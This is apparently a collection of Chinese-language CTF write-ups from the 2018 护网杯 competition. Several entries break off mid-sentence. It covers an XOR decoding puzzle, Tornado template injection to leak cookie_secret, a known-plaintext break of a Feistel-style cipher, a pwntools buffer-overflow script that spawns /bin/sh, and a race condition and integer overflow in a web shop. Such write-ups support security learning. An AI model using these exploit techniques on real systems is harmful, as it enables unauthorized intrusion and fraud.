Category - 护网杯2018

迟来的签到题

题目内容:AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs=

提示xor,第一个字符是\x00,格式是flag{},xor f
title

得到flag
title

easy_tornado

翻下tornado的官方文档
https://tornado.readthedocs.io/en/latest/guide/templates.html#template-syntax

handler.settings可以获取配置信息
Ssti 获取cookie_secret
title

构造新的签名
title

获取flag
title

这题程序逻辑十分简单,主要分成两步,第一步是获得一定的金钱,第二步就是进入购物的环节,购物环节也是很明了,甚至根本没有处理金钱的逻辑。 ![step2](https://leanote.com/api/file/getImage?fileId=5bc1d7a1ab6441122b00258f) 问题出在modify_good这个函数里面 ![modifygood](https://leanote

题目是简单的异或加密,采用了类似于des的feistal结构,但实际上简单的多。

  1. def round_func(M, K):
  2. L = M[0:27]
  3. R = M[27:54]
  4. new_l = R
  5. new_r = xor(xor(R, L),K)
  6. return new_l + new_r

一共执行七轮轮函数,直接展开可以得到:

L7=R0K2K3K5K6
R7=L0R0K1K3K4K6K7

对于已知明文攻击十分脆弱,因为一系列的K异或之后可以看成一个单独的秘钥,明文与密文相异或就能得到这些密钥。

  1. from fez import xor
  2. test = '2315d80c2dd73098953686be6c82aa63c1d362eb0095e4621cce28bec4c921ce016afc7f39fd93b14b6c28ce69c7096b91fd2db0862d'.decode('hex')
  3. test_enc = '308e590a180473ab4d23a0c67b65fe2bf2d0a9f1b255e4e2610b0c90e8e210c8ed4f2b9a3b09c1886a781f94fee4f77488c0b30f2395'.decode('hex')
  4. flag_enc = 'e822e918e578a7af4f0859a99aab5d7563644beb4207a73d5

十分无脑的题目,read函数存在溢出,改掉double v8的值,且不要动v7,即可满足下面条件,执行system("/bin/sh")

脚本如下,其中,4591870180066957722就是浮点数0.1在内存中的值。

from pwn import *
p = process('./task_gettingStart_ktQeERc')
p.send('a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(4591870180066957722))
p.interactive()​


这题的话有很明显的干扰信息,还是常见的选单系统,但是`add_note`, `delete_note`这些操作都是没有意义的,真正漏洞的利用都是位于666号选项,也就是隐藏的函数里面。 ![main](https://leanote.com/api/file/getImage?fileId=5bc1ddc3ab644114160025ec) 666函数里面主要是有一个猜md5的检查需要绕过。主要

图片标题

"购买大辣条"的位置条件竞争
图片标题

辣条之王"批量兑换"的功能的post参数number存在整型溢出---fuzz
select ~0 得到最大整数是18446744073709551615
所以18446744073709551615+5=18446744073709551620会溢出
图片标题
图片标题

后台处理会number*5跟大辣条数进行比较,
溢出之后的值就小于用户拥有的辣条数才可以购买
所以要找到一个合适的number 用
18446744073709551620/5=3689348814741910324
所以选择fuzz范围为3689348814741910300 - 3689348814741910400
图片标题
最终溢出购买得到大量的辣条之王,然后兑换flag
图片标题
图片标题